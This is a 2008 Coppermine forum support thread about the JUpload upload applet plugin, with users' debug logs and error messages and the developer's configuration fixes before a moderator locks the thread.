14:30:46.038 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
14:30:46.038 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:615)
14:30:46.038 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)
14:30:46.038 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:491)
14:30:46.038 [DEBUG] FileUploadThread: within run().finally
14:30:46.069 [DEBUG] PicturePanel.paint(): offscreenImage is null
14:30:47.554 [DEBUG] PicturePanel.paint(): offscreenImage is null
14:30:47.647 [DEBUG] JUploadPanel: after !fileUploadThread.isAlive()
14:30:47.647 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Tjnashster on June 05, 2008, 09:00:06 am

 :) can some one give me a step by step guide to make it possible for the registered to upload to public gallery's. as it still won't work!!!!!!!!!!!!!!!!

Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: tinorebel on June 05, 2008, 07:20:35 pm
Thank you very much for your suport etienne. Your answer was very complete. I have changed the value of the max chunk size to 2000 and now the problem is solved.

I hope you will not get upset if I post another debug I got today with safari on mac (usually works fine, but a fyew times I got some error.)
Code: [Select]
19:08:21.861 [INFO] Debug level set to 0
19:08:21.902 [INFO] Current debug output file: /tmp/jupload_55414_log.txt
19:08:21.920 [WARN] Invalid int value: true, using default value: 0
19:08:21.930 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
19:08:21.935 [INFO] maxFileSize: 5000000
19:08:22.171 [WARN] Invalid int value: , using default value: 0
19:08:22.177 [INFO] JUpload plugin for coppermine version 3.0.3c
19:08:25.419 [WARN] Invalid int value: , using default value: 0
19:15:11.521 [INFO] Debug level set to 1
19:15:11.527 [INFO] Current debug output file: /tmp/jupload_55414_log.txt
19:15:11.698 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
19:15:11.761 [DEBUG] debugLevel: 1 (debugfile: /tmp/jupload_55414_log.txt)
19:15:11.958 [INFO] maxFileSize: 5000000
19:15:26.061 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] Received HTTP status 502 Proxy Error (Received HTTP status 502 Proxy Error)
19:15:26.062 wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 502 Proxy Error
19:15:26.062 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:565)
19:15:26.062 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)
19:15:26.062 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:491)
19:15:36.365 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] Upload failed: unexpected HTTP response (An error occured during log management (sbHttpResponseBody))
19:15:36.370 wjhk.jupload2.exception.JUploadExceptionUploadFailed: Upload failed: unexpected HTTP response
19:15:36.370 at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1103)
19:15:36.370 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:547)
19:15:37.807 [ERROR] [wjhk.jupload2.exception.JUploadIOException] Trying to get the byte array of a on non-closed ByteArrayEncoded (Could not send debug information)
19:15:37.808 wjhk.jupload2.exception.JUploadIOException: Trying to get the byte array of a on non-closed ByteArrayEncoded
19:15:37.808 at wjhk.jupload2.upload.ByteArrayEncoder.getString(ByteArrayEncoder.java:244)
19:15:37.808 at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1135)
19:15:37.808 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:547)


I noticed there is a debug telling

19:08:25.419 [WARN] Invalid int value: , using default value: 0

But I cant guess what it referres to.

A hand would be enormusly apreciated ;D

Greetings for the great Job. Keep people JUPLOADING!!!
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Super Noodles on June 05, 2008, 10:00:58 pm
Hi etienne

I get this error when I click Apply Modifacations, the strange thing is the edits still work ???

Code: [Select]
Script called without the required parameter(s). (title22103)
File: /home/cdcoverh/public_html/covers/plugins/jupload/page/edit_uploaded_pics.php - Line: 198
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on June 06, 2008, 10:29:26 pm
Hi!

Great plugin!!!! I've got a problem anyways...

The Plugin only works when "Allow unlogged users (guest or anonymous) access" is activated in the coppermine-settings. If I disable guest access, the plugin keeps giving me the "no success string found" error.

I'm using xoops2 bridge... but I'm also getting the error, whith a clean new installation of coppermine and jupload without any settings exept the "guest access-setting" beeing changed. (Have the latest builds of both installed)


Hi, you should try the sessionManagement JUpload configuration parameter, to jupload. It should correct management trouble, when in bridge mode.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on June 06, 2008, 10:32:31 pm
:) can some one give me a step by step guide to make it possible for the registered to upload to public gallery's. as it still won't work!!!!!!!!!!!!!!!!

Works for me. I've posted my group configuration page here.

Perhaps your admin just need to aprove upload ?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Tjnashster on June 06, 2008, 10:34:16 pm
is there any thing i have to do with the coppermine config or jupload config for it to work??
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on June 06, 2008, 10:34:41 pm
Thank you very much for your suport etienne. Your answer was very complete. I have changed the value of the max chunk size to 2000 and now the problem is solved.

I hope you will not get upset if I post another debug I got today with safari on mac (usually works fine, but a fyew times I got some error.)

Greetings for the great Job. Keep people JUPLOADING!!!

You got this error: Received HTTP status 502 Proxy Error (Received HTTP status 502 Proxy Error)

It's from time to time, I guess the problem is more with your proxy. Perhaps when you upload too big file. You can play with the maxChunkSize, and put a not too big value, for instance 500 (means file will be uploaded by split of 500k max).

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on June 06, 2008, 10:35:08 pm
is there any thing i have to do with the coppermine config or jupload config for it to work??

Did check my screen copy ?

  Can you attach yours ?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Tjnashster on June 06, 2008, 10:38:28 pm
I have!!!!!!!!!! check top of page 32 ! :D :D :D :D :D :D
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on June 06, 2008, 10:48:32 pm
Hi etienne

I get this error when I click Apply Modifacations, the strange thing is the edits still work ???

Code: [Select]
Script called without the required parameter(s). (title22103)
File: /home/cdcoverh/public_html/covers/plugins/jupload/page/edit_uploaded_pics.php - Line: 198

Did you update the field associated to the picture ?

  It looks like the applet is looking for these fields in the data sent to the server, and one is missing: aid, title, caption, keywords, user1, user2, user3, user4.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on June 06, 2008, 11:15:46 pm
I have!!!!!!!!!! check top of page 32 ! :D :D :D :D :D :D

You're right,
There are too many posts here, I'm lost !

Here is an update of my group configuration (see attached picture). It should now be exactly the same as yours: guest and banned are deactivated.

Some questions:
- You've posted a debut output, but it did not contain the log for the upload itself. Can you do it again ?
- Do you have anything special, like Stramm modpack installed ?
- Is it possible to have an admin access on your gallery, or on a test gallery seomwhere, so that I can understand what is happening, and test possible corrections ?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Tjnashster on June 06, 2008, 11:23:28 pm
yep sure i will send the detail by private massage.
and there so many posts because its a great plugin  ;)
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Joachim Mller on June 07, 2008, 10:11:19 am
There are too many posts here, I'm lost !
Etienne,

your JUpload thread has indeed become quite huge. Do you need a separate sub-board for JUpload (similar to the ones for cpmFetch or Stramm's modpack)? Let me know, I'll create one for you if you need one. Keep in mind though that this will create an extra moderation effort for you.

Joachim
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Super Noodles on June 07, 2008, 03:00:04 pm
Did you update the field associated to the picture ?

  It looks like the applet is looking for these fields in the data sent to the server, and one is missing: aid, title, caption, keywords, user1, user2, user3, user4.

Etienne
Yeah I'm doing that, can it be fixed? :D
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on June 08, 2008, 02:32:37 pm
Yeah I'm doing that, can it be fixed? :D

 Of course !

I'll have to repeat the problem before. It's probably a matter of days, but I also need to analyze and correct the right management bug.

  As Tjnashster gave an access on his/her site, I'll work on this one first. I'll do a release for both troubles, if possible. Hope it will be a matter of days...


In the meanwhile, you can comment the 198 line, it should work (not tested at tall, though), or replace by something like:
if(!isset($_POST[$var_name])) return "";

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Joachim Mller on June 08, 2008, 06:28:23 pm
There is a new sub-board dedicated to JUpload. All questions regarding JUpload should be posted in that sub-board from now on. To make sure that people stop replying to this thread I'm locking it.

forum.coppermine-gallery.net > Support > cpg1.4.x Support > cpg1.4 plugins > cpg1.4 JUpload by etienne_sf (http://forum.coppermine-gallery.net/index.php/board,100.0.html)